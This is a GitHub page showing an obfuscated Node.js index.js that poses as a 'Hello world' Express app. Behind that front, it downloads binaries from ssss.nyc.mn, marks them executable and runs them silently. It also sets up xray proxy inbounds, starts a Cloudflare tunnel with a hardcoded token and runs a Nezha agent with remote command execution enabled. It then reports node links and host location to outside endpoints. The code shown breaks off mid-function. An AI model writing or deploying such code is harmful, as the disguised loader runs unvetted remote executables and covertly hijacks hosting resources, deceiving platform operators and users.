Repository navigation
Expand file tree
/
Copy pathindex.js
More file actions
1 lines (1 loc) · 27.2 KB
/
Copy pathindex.js
File metadata and controls
1 lines (1 loc) · 27.2 KB
1
const _0x30a507=_0x274e;(function(_0x212a99,_0x4fab40){const _0x1af5cd={_0x1ae8e6:0x12a,_0x44f68e:0x13f,_0x575c30:0x14a,_0x294d9f:0x101},_0x24e436=_0x274e,_0x224b32=_0x212a99();while(!![]){try{const _0x39ac02=-parseInt(_0x24e436(_0x1af5cd._0x1ae8e6))/0x1+parseInt(_0x24e436(0x120))/0x2+parseInt(_0x24e436(0x113))/0x3*(-parseInt(_0x24e436(_0x1af5cd._0x44f68e))/0x4)+-parseInt(_0x24e436(0x163))/0x5+-parseInt(_0x24e436(_0x1af5cd._0x575c30))/0x6*(parseInt(_0x24e436(0x14c))/0x7)+-parseInt(_0x24e436(_0x1af5cd._0x294d9f))/0x8+parseInt(_0x24e436(0xe8))/0x9;if(_0x39ac02===_0x4fab40)break;else _0x224b32['push'](_0x224b32['shift']());}catch(_0x10013c){_0x224b32['push'](_0x224b32['shift']());}}}(_0x3eb9,0x5820f));const express=require(_0x30a507(0xd1)),app=express(),axios=require('axios'),os=require('os'),fs=require('fs'),path=require(_0x30a507(0x16d)),{promisify}=require(_0x30a507(0x107)),exec=promisify(require(_0x30a507(0x108))['exec']),{execSync}=require('child_process'),UPLOAD_URL=process[_0x30a507(0x126)][_0x30a507(0xd3)]||'',PROJECT_URL=process['env']['PROJECT_URL']||'',AUTO_ACCESS=process[_0x30a507(0x126)][_0x30a507(0x185)]||![],FILE_PATH=process['env'][_0x30a507(0xfe)]||'./tmp',SUB_PATH=process[_0x30a507(0x126)][_0x30a507(0x149)]||'sub',PORT=process[_0x30a507(0x126)][_0x30a507(0xfa)]||process[_0x30a507(0x126)][_0x30a507(0x13a)]||0xbb8,UUID=process[_0x30a507(0x126)][_0x30a507(0x145)]||'9afd1229-b893-40c1-84dd-51e7ce204913',NEZHA_SERVER=process[_0x30a507(0x126)]['NEZHA_SERVER']||'',NEZHA_PORT=process[_0x30a507(0x126)]['NEZHA_PORT']||'',NEZHA_KEY=process['env'][_0x30a507(0xf0)]||'',ARGO_DOMAIN=process[_0x30a507(0x126)]['ARGO_DOMAIN']||_0x30a507(0x105),ARGO_AUTH=process[_0x30a507(0x126)][_0x30a507(0xd2)]||_0x30a507(0x16c),ARGO_PORT=process[_0x30a507(0x126)][_0x30a507(0xf3)]||0x1f41,CFIP=process['env'][_0x30a507(0x140)]||'cdns.doon.eu.org',CFPORT=process[_0x30a507(0x126)]['CFPORT']||0x1bb,NAME=process[_0x30a507(0x126)][_0x30a507(0x16b)]||'north';!fs[_0x30a507(0xe2)](FILE_PATH)?(fs[_0x30a507(0xf1)](FILE_PATH),console[_0x30a507(0x164)](FILE_PATH+_0x30a507(0x15a))):console['log'](FILE_PATH+_0x30a507(0xe6));function generateRandomName(){const _0x5911b3=_0x30a507,_0x5de84a='abcdefghijklmnopqrstuvwxyz';let _0x503428='';for(let _0x449147=0x0;_0x449147<0x6;_0x449147++){_0x503428+=_0x5de84a[_0x5911b3(0xf6)](Math[_0x5911b3(0xe1)](Math[_0x5911b3(0x134)]()*_0x5de84a[_0x5911b3(0x11d)]));}return _0x503428;}const npmName=generateRandomName(),webName=generateRandomName(),botName=generateRandomName(),phpName=generateRandomName();let npmPath=path[_0x30a507(0x165)](FILE_PATH,npmName),phpPath=path[_0x30a507(0x165)](FILE_PATH,phpName),webPath=path[_0x30a507(0x165)](FILE_PATH,webName),botPath=path[_0x30a507(0x165)](FILE_PATH,botName),subPath=path[_0x30a507(0x165)](FILE_PATH,'sub.txt'),listPath=path[_0x30a507(0x165)](FILE_PATH,_0x30a507(0x104)),bootLogPath=path[_0x30a507(0x165)](FILE_PATH,_0x30a507(0x11e)),configPath=path[_0x30a507(0x165)](FILE_PATH,_0x30a507(0x167));function deleteNodes(){const _0x1492e3={_0x29176f:0x115,_0x36816d:0x154,_0x220d68:0x168,_0x14d4d6:0x16f,_0x23b4c8:0x14d,_0x550b67:0x143,_0x26fe63:0x14b},_0xca884=_0x30a507;try{if(!UPLOAD_URL)return;if(!fs['existsSync'](subPath))return;let _0x45a986;try{_0x45a986=fs[_0xca884(_0x1492e3._0x29176f)](subPath,_0xca884(_0x1492e3._0x36816d));}catch{return null;}const _0x5871dc=Buffer[_0xca884(_0x1492e3._0x220d68)](_0x45a986,_0xca884(0x132))[_0xca884(_0x1492e3._0x14d4d6)]('utf-8'),_0x4e1a1b=_0x5871dc[_0xca884(_0x1492e3._0x23b4c8)]('\x0a')[_0xca884(_0x1492e3._0x550b67)](_0x1cd8dc=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0xca884(0xd9)](_0x1cd8dc));if(_0x4e1a1b['length']===0x0)return;return axios[_0xca884(_0x1492e3._0x26fe63)](UPLOAD_URL+'/api/delete-nodes',JSON[_0xca884(0x124)]({'nodes':_0x4e1a1b}),{'headers':{'Content-Type':_0xca884(0xf7)}})[_0xca884(0x17b)](_0x3d1b02=>{return null;}),null;}catch(_0xb555d0){return null;}}function cleanupOldFiles(){const _0x56d187={_0xfddbb3:0x165},_0x8dacb=_0x30a507;try{const _0x527369=fs[_0x8dacb(0x162)](FILE_PATH);_0x527369['forEach'](_0x4f234f=>{const _0x34be1c=_0x8dacb,_0x430995=path[_0x34be1c(_0x56d187._0xfddbb3)](FILE_PATH,_0x4f234f);try{const _0x5005dc=fs['statSync'](_0x430995);_0x5005dc['isFile']()&&fs['unlinkSync'](_0x430995);}catch(_0x4a8f44){}});}catch(_0x3911a3){}}app[_0x30a507(0xda)]('/',function(_0x41020e,_0x518e42){const _0x1407c9=_0x30a507;_0x518e42[_0x1407c9(0xf9)]('Hello\x20world!');});async function generateConfig(){const _0x4223a7={_0x10680e:0x11b,_0x30e6f4:0xed,_0x44b707:0xfd,_0xe6b530:0xf8,_0x44152d:0x150,_0x2a99cf:0x139,_0x29e1cb:0x172,_0x41f0a6:0xcf,_0x1a3e58:0xf5,_0x2d3c3e:0x150,_0x3bc021:0x174,_0x163969:0xd5,_0x4cea17:0x167,_0x508c53:0x124},_0x74b751=_0x30a507,_0x25114b={'log':{'access':'/dev/null','error':'/dev/null','loglevel':_0x74b751(0x139)},'inbounds':[{'port':ARGO_PORT,'protocol':_0x74b751(_0x4223a7._0x10680e),'settings':{'clients':[{'id':UUID,'flow':'xtls-rprx-vision'}],'decryption':'none','fallbacks':[{'dest':0xbb9},{'path':_0x74b751(_0x4223a7._0x30e6f4),'dest':0xbba},{'path':_0x74b751(_0x4223a7._0x44b707),'dest':0xbbb},{'path':_0x74b751(_0x4223a7._0xe6b530),'dest':0xbbc}]},'streamSettings':{'network':'tcp'}},{'port':0xbb9,'listen':_0x74b751(_0x4223a7._0x44152d),'protocol':_0x74b751(0x11b),'settings':{'clients':[{'id':UUID}],'decryption':_0x74b751(_0x4223a7._0x2a99cf)},'streamSettings':{'network':_0x74b751(0x110),'security':'none'}},{'port':0xbba,'listen':_0x74b751(0x150),'protocol':_0x74b751(_0x4223a7._0x10680e),'settings':{'clients':[{'id':UUID,'level':0x0}],'decryption':_0x74b751(_0x4223a7._0x2a99cf)},'streamSettings':{'network':'ws','security':_0x74b751(_0x4223a7._0x2a99cf),'wsSettings':{'path':_0x74b751(0xed)}},'sniffing':{'enabled':!![],'destOverride':['http',_0x74b751(_0x4223a7._0x29e1cb),_0x74b751(0x174)],'metadataOnly':![]}},{'port':0xbbb,'listen':'127.0.0.1','protocol':_0x74b751(_0x4223a7._0x41f0a6),'settings':{'clients':[{'id':UUID,'alterId':0x0}]},'streamSettings':{'network':'ws','wsSettings':{'path':_0x74b751(_0x4223a7._0x44b707)}},'sniffing':{'enabled':!![],'destOverride':[_0x74b751(_0x4223a7._0x1a3e58),'tls',_0x74b751(0x174)],'metadataOnly':![]}},{'port':0xbbc,'listen':_0x74b751(_0x4223a7._0x2d3c3e),'protocol':_0x74b751(0x109),'settings':{'clients':[{'password':UUID}]},'streamSettings':{'network':'ws','security':_0x74b751(0x139),'wsSettings':{'path':'/trojan-argo'}},'sniffing':{'enabled':!![],'destOverride':['http',_0x74b751(0x172),_0x74b751(_0x4223a7._0x3bc021)],'metadataOnly':![]}}],'dns':{'servers':[_0x74b751(_0x4223a7._0x163969)]},'outbounds':[{'protocol':'freedom','tag':'direct'},{'protocol':_0x74b751(0x15d),'tag':_0x74b751(0x175)}]};fs['writeFileSync'](path[_0x74b751(0x165)](FILE_PATH,_0x74b751(_0x4223a7._0x4cea17)),JSON[_0x74b751(_0x4223a7._0x508c53)](_0x25114b,null,0x2));}function _0x3eb9(){const _0xed5092=['\x0adebug:\x20false\x0adisable_auto_update:\x20true\x0adisable_command_execute:\x20false\x0adisable_force_update:\x20true\x0adisable_nat:\x20false\x0adisable_send_query:\x20false\x0agpu:\x20false\x0ainsecure_tls:\x20true\x0aip_report_period:\x201800\x0areport_delay:\x204\x0aserver:\x20','1362744bbdmdH','https://ipapi.co/json/','2053','\x20>/dev/null\x202>&1','stringify','ArgoDomain:','env','true','\x0askip_connection_count:\x20true\x0askip_procs_count:\x20true\x0atemperature:\x20false\x0atls:\x20','ArgoDomain\x20not\x20found,\x20re-running\x20bot\x20to\x20obtain\x20ArgoDomain','239417UNLRPR','Skipping\x20adding\x20automatic\x20access\x20task','tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20run\x20--token\x20','\x20successfully','\x0a\x20\x20\x20\x20\x20\x20service:\x20http://localhost:','fileUrl','2096','pop','base64','\x0a\x0avmess://','random','\x20>/dev/null\x202>&1\x20&','&path=%2Ftrojan-argo%3Fed%3D2560#','data','https://arm64.ssss.nyc.mn/web','none','PORT','https://amd64.ssss.nyc.mn/v1','all','false','https://amd64.ssss.nyc.mn/web','217324Aotbnm','CFIP','npm\x20running\x20error:\x20','status','filter','Subscription\x20uploaded\x20successfully','UUID','has','https://oooo.serv00.net/add-url','\x20-p\x20','SUB_PATH','151464UqkAGZ','post','91pNQZyM','split','/config.json\x20>/dev/null\x202>&1\x20&','\x0a\x0atrojan://','127.0.0.1','finish','\x0a\x20\x20credentials-file:\x20','Add\x20automatic\x20access\x20task\x20faild:\x20','utf-8','443','unlink','Download\x20','\x20-c\x20','Content-Type','\x20is\x20created','arm64','Error\x20executing\x20command:\x20','blackhole','map','firefox','Can\x27t\x20find\x20a\x20file\x20for\x20the\x20current\x20architecture','country_code','readdirSync','79545UBtYLz','log','join','\x20--disable-auto-update\x20--report-delay\x204\x20--skip-conn\x20--skip-procs\x20>/dev/null\x202>&1\x20&','config.json','from','taskkill\x20/f\x20/im\x20','&fp=firefox&type=ws&host=','NAME','eyJhIjoiMTQxZDg5MmUzZGIxNWIyNzVjMTMyZTBkMzBiMWUzNmYiLCJ0IjoiZjljY2E5N2YtZjNhNS00MzJjLWJhY2YtYzk2NzQwNTcxMWJhIiwicyI6Ik5ESmlaVGt6TnpNdFlUUmpOeTAwWVdNM0xXRm1OV010TURWaFpURm1ZVFExTkRWaiJ9','path','&path=%2Fvless-argo%3Fed%3D2560#','toString','then','arm','tls','error','quic','block','success','2087','text/plain;\x20charset=utf-8','basename','Unknown','catch','platform','clear','\x0a\x20\x20protocol:\x20http2\x0a\x20\x20\x0a\x20\x20ingress:\x0a\x20\x20\x20\x20-\x20hostname:\x20','\x0a\x20\x20\x20\x20','\x20-s\x20','includes','http://ip-api.com/json/','countryCode','match','AUTO_ACCESS','message','--tls','vmess','?encryption=none&security=tls&sni=','express','ARGO_AUTH','UPLOAD_URL','2083','https+local://8.8.8.8/dns-query','response','Nodes\x20uploaded\x20successfully','/sub.txt\x20saved\x20successfully','test','get','push','/api/add-subscriptions','/api/add-nodes','http\x20server\x20is\x20running\x20on\x20port:','\x20is\x20running','\x0ause_gitee_to_upgrade:\x20false\x0ause_ipv6_country_code:\x20false\x0auuid:\x20','floor','existsSync','listen','App\x20is\x20running','substring','\x20already\x20exists','org','6330384AaRaSC','createWriteStream','https://amd64.ssss.nyc.mn/agent','\x20>\x20nul\x202>&1','/config.yaml\x22\x20>/dev/null\x202>&1\x20&','/vless-argo','stream','forEach','NEZHA_KEY','mkdirSync','?security=tls&sni=','ARGO_PORT','Thank\x20you\x20for\x20using\x20this\x20script,\x20enjoy!','http','charAt','application/json','/trojan-argo','send','SERVER_PORT','Empowerment\x20success\x20for\x20','https://arm64.ssss.nyc.mn/agent','/vmess-argo','FILE_PATH','\x20-c\x20\x22','\x0a\x20\x20tunnel:\x20','914312KCzeVO','\x0aclient_secret:\x20','\x20failed:\x20','list.txt','north.nov.gv.uy','php\x20running\x20error:\x20','util','child_process','trojan','ARGO_DOMAIN:','ARGO_AUTH\x20mismatch\x20TunnelSecret,use\x20token\x20connect\x20to\x20tunnel','nohup\x20','Error\x20downloading\x20files:','https://arm64.ssss.nyc.mn/bot','writeFileSync','tcp','amd','win32','18FxGaAv','close','readFileSync','tunnel\x20--edge-ip-version\x20auto\x20--config\x20','del\x20/f\x20/q\x20','unshift','/boot.log\x20--loglevel\x20info\x20--url\x20http://localhost:','tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20--logfile\x20','vless','\x22\x20>\x20/dev/null\x202>&1','length','boot.log'];_0x3eb9=function(){return _0xed5092;};return _0x3eb9();}function getSystemArchitecture(){const _0x2bb58a={_0x49270e:0x171,_0x17d8ae:0x111},_0x44da63=_0x30a507,_0x3ddb64=os['arch']();return _0x3ddb64===_0x44da63(0x171)||_0x3ddb64===_0x44da63(0x15b)||_0x3ddb64==='aarch64'?_0x44da63(_0x2bb58a._0x49270e):_0x44da63(_0x2bb58a._0x17d8ae);}function downloadFile(_0xc129db,_0x21fe0f,_0x1eb7ce){const _0x397549={_0x2d2292:0xda,_0x337600:0xee,_0x378a4:0x17b},_0x44a93a={_0x552ac7:0x157},_0x4e969a={_0x3e34e2:0x137,_0x3f8310:0x173},_0x15dddf={_0x224464:0x156,_0x143bee:0x103,_0x142ae6:0x173},_0x56c5ab=_0x30a507,_0x133e89=_0xc129db;!fs[_0x56c5ab(0xe2)](FILE_PATH)&&fs['mkdirSync'](FILE_PATH,{'recursive':!![]});const _0x52f479=fs[_0x56c5ab(0xe9)](_0x133e89);axios({'method':_0x56c5ab(_0x397549._0x2d2292),'url':_0x21fe0f,'responseType':_0x56c5ab(_0x397549._0x337600)})[_0x56c5ab(0x170)](_0x5cb9b5=>{const _0x47c01d={_0x4ea258:0x114,_0x1143e2:0x179},_0xb6d39b=_0x56c5ab;_0x5cb9b5[_0xb6d39b(_0x4e969a._0x3e34e2)]['pipe'](_0x52f479),_0x52f479['on'](_0xb6d39b(0x151),()=>{const _0x569fab=_0xb6d39b;_0x52f479[_0x569fab(_0x47c01d._0x4ea258)](),console['log']('Download\x20'+path[_0x569fab(_0x47c01d._0x1143e2)](_0x133e89)+_0x569fab(0x12d)),_0x1eb7ce(null,_0x133e89);}),_0x52f479['on'](_0xb6d39b(_0x4e969a._0x3f8310),_0x2893e1=>{const _0x56f54d=_0xb6d39b;fs[_0x56f54d(_0x15dddf._0x224464)](_0x133e89,()=>{});const _0x456c97='Download\x20'+path['basename'](_0x133e89)+_0x56f54d(_0x15dddf._0x143bee)+_0x2893e1[_0x56f54d(0x186)];console[_0x56f54d(_0x15dddf._0x142ae6)](_0x456c97),_0x1eb7ce(_0x456c97);});})[_0x56c5ab(_0x397549._0x378a4)](_0x2a8705=>{const _0x2083da=_0x56c5ab,_0x2b2421=_0x2083da(_0x44a93a._0x552ac7)+path[_0x2083da(0x179)](_0x133e89)+'\x20failed:\x20'+_0x2a8705[_0x2083da(0x186)];console['error'](_0x2b2421),_0x1eb7ce(_0x2b2421);});}async function downloadFilesAndRun(){const _0x5f13e0={_0x5438ab:0x11d,_0x522418:0x164,_0x3c838c:0x15e,_0x116233:0x173,_0x210786:0x131,_0x5e650a:0x13d,_0x4647a4:0x11f,_0x4b6143:0x10f,_0x519a17:0xec,_0x373a65:0xdf,_0x37ba43:0x106,_0xd9f69a:0x130,_0x4589cb:0xd4,_0x4ae6b9:0x122,_0x8cf241:0x180,_0x3a1c94:0x148,_0x2e873a:0x166,_0x29a1b9:0x164,_0x309659:0x10c,_0x4f7692:0x14e,_0x143723:0xe2,_0x4753fc:0x184,_0x541bc4:0x12c,_0xcd69c7:0x119,_0x32b996:0x15c},_0x3ce54e={_0x36e0a5:0xef},_0x459206={_0xddddd6:0xe2},_0x11bbbf=_0x30a507,_0x4fba9e=getSystemArchitecture(),_0x150e64=getFilesForArchitecture(_0x4fba9e);if(_0x150e64[_0x11bbbf(_0x5f13e0._0x5438ab)]===0x0){console[_0x11bbbf(_0x5f13e0._0x522418)](_0x11bbbf(0x160));return;}const _0x11c7e5=_0x150e64[_0x11bbbf(_0x5f13e0._0x3c838c)](_0xded5c1=>{const _0x48a276={_0x167786:0x12f};return new Promise((_0x523815,_0x32d378)=>{const _0x3cde40=_0x274e;downloadFile(_0xded5c1['fileName'],_0xded5c1[_0x3cde40(_0x48a276._0x167786)],(_0x5f31d4,_0x3cece7)=>{_0x5f31d4?_0x32d378(_0x5f31d4):_0x523815(_0x3cece7);});});});try{await Promise[_0x11bbbf(0x13c)](_0x11c7e5);}catch(_0x24d930){console[_0x11bbbf(_0x5f13e0._0x116233)](_0x11bbbf(0x10d),_0x24d930);return;}function _0x2c3072(_0x4934e8){const _0x10e7f2={_0x2768a7:0x164,_0x58822f:0xfb,_0x43ab83:0x16f},_0x4f10fb=_0x11bbbf,_0xccf1ab=0x1fd;_0x4934e8[_0x4f10fb(_0x3ce54e._0x36e0a5)](_0x411f36=>{const _0xe3914e=_0x4f10fb;fs[_0xe3914e(_0x459206._0xddddd6)](_0x411f36)&&fs['chmod'](_0x411f36,_0xccf1ab,_0x589d85=>{const _0xdaab12=_0xe3914e;_0x589d85?console[_0xdaab12(0x173)]('Empowerment\x20failed\x20for\x20'+_0x411f36+':\x20'+_0x589d85):console[_0xdaab12(_0x10e7f2._0x2768a7)](_0xdaab12(_0x10e7f2._0x58822f)+_0x411f36+':\x20'+_0xccf1ab[_0xdaab12(_0x10e7f2._0x43ab83)](0x8));});});}const _0x1415f3=NEZHA_PORT?[npmPath,webPath,botPath]:[phpPath,webPath,botPath];_0x2c3072(_0x1415f3);if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x4b65f1=NEZHA_SERVER[_0x11bbbf(0x181)](':')?NEZHA_SERVER[_0x11bbbf(0x14d)](':')[_0x11bbbf(_0x5f13e0._0x210786)]():'',_0x539915=new Set([_0x11bbbf(0x155),'8443',_0x11bbbf(0x130),_0x11bbbf(0x177),_0x11bbbf(0xd4),'2053']),_0x3b8b90=_0x539915[_0x11bbbf(0x146)](_0x4b65f1)?_0x11bbbf(0x127):_0x11bbbf(_0x5f13e0._0x5e650a),_0x41939c=_0x11bbbf(0x102)+NEZHA_KEY+_0x11bbbf(_0x5f13e0._0x4647a4)+NEZHA_SERVER+_0x11bbbf(0x128)+_0x3b8b90+_0x11bbbf(0xe0)+UUID;fs[_0x11bbbf(_0x5f13e0._0x4b6143)](path[_0x11bbbf(0x165)](FILE_PATH,'config.yaml'),_0x41939c);const _0x515780=_0x11bbbf(0x10c)+phpPath+_0x11bbbf(0xff)+FILE_PATH+_0x11bbbf(_0x5f13e0._0x519a17);try{await exec(_0x515780),console[_0x11bbbf(0x164)](phpName+_0x11bbbf(_0x5f13e0._0x373a65)),await new Promise(_0x56aae9=>setTimeout(_0x56aae9,0x3e8));}catch(_0x1a0d9c){console['error'](_0x11bbbf(_0x5f13e0._0x37ba43)+_0x1a0d9c);}}else{let _0x1930ce='';const _0x3d6c1f=['443','8443',_0x11bbbf(_0x5f13e0._0xd9f69a),'2087',_0x11bbbf(_0x5f13e0._0x4589cb),_0x11bbbf(_0x5f13e0._0x4ae6b9)];_0x3d6c1f[_0x11bbbf(0x181)](NEZHA_PORT)&&(_0x1930ce=_0x11bbbf(0x187));const _0xd44fe7=_0x11bbbf(0x10c)+npmPath+_0x11bbbf(_0x5f13e0._0x8cf241)+NEZHA_SERVER+':'+NEZHA_PORT+_0x11bbbf(_0x5f13e0._0x3a1c94)+NEZHA_KEY+'\x20'+_0x1930ce+_0x11bbbf(_0x5f13e0._0x2e873a);try{await exec(_0xd44fe7),console[_0x11bbbf(0x164)](npmName+_0x11bbbf(0xdf)),await new Promise(_0x48993b=>setTimeout(_0x48993b,0x3e8));}catch(_0x3134cc){console[_0x11bbbf(0x173)](_0x11bbbf(0x141)+_0x3134cc);}}}else console[_0x11bbbf(_0x5f13e0._0x29a1b9)]('NEZHA\x20variable\x20is\x20empty,skip\x20running');const _0x49da85=_0x11bbbf(_0x5f13e0._0x309659)+webPath+_0x11bbbf(0x158)+FILE_PATH+_0x11bbbf(_0x5f13e0._0x4f7692);try{await exec(_0x49da85),console['log'](webName+_0x11bbbf(_0x5f13e0._0x373a65)),await new Promise(_0x1b7aa9=>setTimeout(_0x1b7aa9,0x3e8));}catch(_0x5b6b46){console['error']('web\x20running\x20error:\x20'+_0x5b6b46);}if(fs[_0x11bbbf(_0x5f13e0._0x143723)](botPath)){let _0x347a58;if(ARGO_AUTH[_0x11bbbf(_0x5f13e0._0x4753fc)](/^[A-Z0-9a-z=]{120,250}$/))_0x347a58=_0x11bbbf(_0x5f13e0._0x541bc4)+ARGO_AUTH;else ARGO_AUTH[_0x11bbbf(0x184)](/TunnelSecret/)?_0x347a58=_0x11bbbf(0x116)+FILE_PATH+'/tunnel.yml\x20run':_0x347a58=_0x11bbbf(0x11a)+FILE_PATH+_0x11bbbf(_0x5f13e0._0xcd69c7)+ARGO_PORT;try{await exec(_0x11bbbf(0x10c)+botPath+'\x20'+_0x347a58+'\x20>/dev/null\x202>&1\x20&'),console['log'](botName+_0x11bbbf(_0x5f13e0._0x373a65)),await new Promise(_0x334145=>setTimeout(_0x334145,0x7d0));}catch(_0xf2e28e){console[_0x11bbbf(_0x5f13e0._0x116233)](_0x11bbbf(_0x5f13e0._0x32b996)+_0xf2e28e);}}await new Promise(_0x25818f=>setTimeout(_0x25818f,0x1388));}function getFilesForArchitecture(_0x549d84){const _0x487775={_0x1c2c1f:0x171,_0x14be38:0x138,_0x42e892:0x10e,_0x4fe72a:0xfc,_0x35b6d5:0xea,_0xfaa95d:0x118},_0x95b2fc=_0x30a507;let _0x4b640c;_0x549d84===_0x95b2fc(_0x487775._0x1c2c1f)?_0x4b640c=[{'fileName':webPath,'fileUrl':_0x95b2fc(_0x487775._0x14be38)},{'fileName':botPath,'fileUrl':_0x95b2fc(_0x487775._0x42e892)}]:_0x4b640c=[{'fileName':webPath,'fileUrl':_0x95b2fc(0x13e)},{'fileName':botPath,'fileUrl':'https://amd64.ssss.nyc.mn/bot'}];if(NEZHA_SERVER&&NEZHA_KEY){if(NEZHA_PORT){const _0x42813c=_0x549d84===_0x95b2fc(_0x487775._0x1c2c1f)?_0x95b2fc(_0x487775._0x4fe72a):_0x95b2fc(_0x487775._0x35b6d5);_0x4b640c[_0x95b2fc(_0x487775._0xfaa95d)]({'fileName':npmPath,'fileUrl':_0x42813c});}else{const _0x36008a=_0x549d84==='arm'?'https://arm64.ssss.nyc.mn/v1':_0x95b2fc(0x13b);_0x4b640c[_0x95b2fc(0x118)]({'fileName':phpPath,'fileUrl':_0x36008a});}}return _0x4b640c;}function argoType(){const _0x53b255={_0x322785:0x164,_0x2541de:0x100,_0x34db25:0x152,_0x4aad0f:0x17e,_0x2de4a8:0x12e,_0x58f62f:0x10b},_0x34f485=_0x30a507;if(!ARGO_AUTH||!ARGO_DOMAIN){console[_0x34f485(_0x53b255._0x322785)]('ARGO_DOMAIN\x20or\x20ARGO_AUTH\x20variable\x20is\x20empty,\x20use\x20quick\x20tunnels');return;}if(ARGO_AUTH['includes']('TunnelSecret')){fs['writeFileSync'](path['join'](FILE_PATH,'tunnel.json'),ARGO_AUTH);const _0x4a61e4=_0x34f485(_0x53b255._0x2541de)+ARGO_AUTH['split']('\x22')[0xb]+_0x34f485(_0x53b255._0x34db25)+path[_0x34f485(0x165)](FILE_PATH,'tunnel.json')+_0x34f485(_0x53b255._0x4aad0f)+ARGO_DOMAIN+_0x34f485(_0x53b255._0x2de4a8)+ARGO_PORT+'\x0a\x20\x20\x20\x20\x20\x20originRequest:\x0a\x20\x20\x20\x20\x20\x20\x20\x20noTLSVerify:\x20true\x0a\x20\x20\x20\x20-\x20service:\x20http_status:404\x0a\x20\x20';fs['writeFileSync'](path['join'](FILE_PATH,'tunnel.yml'),_0x4a61e4);}else console[_0x34f485(0x164)](_0x34f485(_0x53b255._0x58f62f));}async function extractDomains(){const _0x92d11={_0x2c831e:0x115,_0x2c0bc9:0x165,_0xa528e9:0x14d,_0x1fe127:0x164,_0x195c53:0x10c,_0x33c16a:0x173,_0x4497ef:0x15c},_0x555e39={_0xd8d70c:0x121,_0x51f947:0x137,_0x5260da:0x161,_0x57107c:0x137,_0xee9e2c:0xe7,_0x21a5d2:0x161,_0x4d1012:0xe7,_0x564f40:0xda,_0x370388:0x183,_0x24e4b7:0xe7},_0x3ac2ff={_0x226a8e:0x17c,_0x4a55f6:0xe5},_0x132d72=_0x30a507;let _0x3f1d8e;if(ARGO_AUTH&&ARGO_DOMAIN)_0x3f1d8e=ARGO_DOMAIN,console['log'](_0x132d72(0x10a),_0x3f1d8e),await _0x53a402(_0x3f1d8e);else try{const _0x201e69=fs[_0x132d72(_0x92d11._0x2c831e)](path[_0x132d72(_0x92d11._0x2c0bc9)](FILE_PATH,_0x132d72(0x11e)),'utf-8'),_0x1a8558=_0x201e69[_0x132d72(_0x92d11._0xa528e9)]('\x0a'),_0x322b57=[];_0x1a8558['forEach'](_0x198dac=>{const _0x21eee1=_0x198dac['match'](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x21eee1){const _0x2a7074=_0x21eee1[0x1];_0x322b57['push'](_0x2a7074);}});if(_0x322b57['length']>0x0)_0x3f1d8e=_0x322b57[0x0],console['log'](_0x132d72(0x125),_0x3f1d8e),await _0x53a402(_0x3f1d8e);else{console[_0x132d72(_0x92d11._0x1fe127)](_0x132d72(0x129)),fs['unlinkSync'](path[_0x132d72(_0x92d11._0x2c0bc9)](FILE_PATH,'boot.log'));async function _0x193181(){const _0x3b48af=_0x132d72;try{process[_0x3b48af(_0x3ac2ff._0x226a8e)]==='win32'?await exec(_0x3b48af(0x169)+botName+'.exe\x20>\x20nul\x202>&1'):await exec('pkill\x20-f\x20\x22['+botName['charAt'](0x0)+']'+botName[_0x3b48af(_0x3ac2ff._0x4a55f6)](0x1)+_0x3b48af(0x11c));}catch(_0x4dfa6a){}}_0x193181(),await new Promise(_0x208a33=>setTimeout(_0x208a33,0xbb8));const _0x4d1cc4=_0x132d72(0x11a)+FILE_PATH+_0x132d72(0x119)+ARGO_PORT;try{await exec(_0x132d72(_0x92d11._0x195c53)+botPath+'\x20'+_0x4d1cc4+_0x132d72(0x135)),console[_0x132d72(0x164)](botName+'\x20is\x20running'),await new Promise(_0x5b89dc=>setTimeout(_0x5b89dc,0xbb8)),await extractDomains();}catch(_0x258bc9){console[_0x132d72(_0x92d11._0x33c16a)](_0x132d72(_0x92d11._0x4497ef)+_0x258bc9);}}}catch(_0x4f0e4a){console[_0x132d72(0x173)]('Error\x20reading\x20boot.log:',_0x4f0e4a);}async function _0x43798c(){const _0xc081c0=_0x132d72;try{const _0x4259fe=await axios['get'](_0xc081c0(_0x555e39._0xd8d70c),{'timeout':0xbb8});if(_0x4259fe[_0xc081c0(_0x555e39._0x51f947)]&&_0x4259fe[_0xc081c0(0x137)][_0xc081c0(_0x555e39._0x5260da)]&&_0x4259fe[_0xc081c0(_0x555e39._0x57107c)][_0xc081c0(_0x555e39._0xee9e2c)])return _0x4259fe[_0xc081c0(0x137)][_0xc081c0(_0x555e39._0x21a5d2)]+'_'+_0x4259fe[_0xc081c0(0x137)][_0xc081c0(_0x555e39._0x4d1012)];}catch(_0x5c7511){try{const _0x16c4e3=await axios[_0xc081c0(_0x555e39._0x564f40)](_0xc081c0(0x182),{'timeout':0xbb8});if(_0x16c4e3['data']&&_0x16c4e3[_0xc081c0(_0x555e39._0x51f947)][_0xc081c0(0x142)]===_0xc081c0(0x176)&&_0x16c4e3[_0xc081c0(_0x555e39._0x57107c)][_0xc081c0(_0x555e39._0x370388)]&&_0x16c4e3['data'][_0xc081c0(_0x555e39._0x24e4b7)])return _0x16c4e3[_0xc081c0(_0x555e39._0x57107c)]['countryCode']+'_'+_0x16c4e3[_0xc081c0(0x137)][_0xc081c0(0xe7)];}catch(_0x439f35){}}return _0xc081c0(0x17a);}async function _0x53a402(_0x55c9d9){const _0x3deb13={_0x1f0f26:0x139,_0x2133b2:0x172,_0x2452e1:0xd0,_0x5e93fa:0x16a,_0x58616c:0x16e,_0x3b0e74:0x168,_0x4ed740:0x16f,_0x29fc9e:0x14f,_0x38434a:0x136},_0x48f32c=await _0x43798c(),_0x32bcda=NAME?NAME+'-'+_0x48f32c:_0x48f32c;return new Promise(_0x337bec=>{const _0xa06520={_0x1459a8:0x16f,_0x258a48:0x159};setTimeout(()=>{const 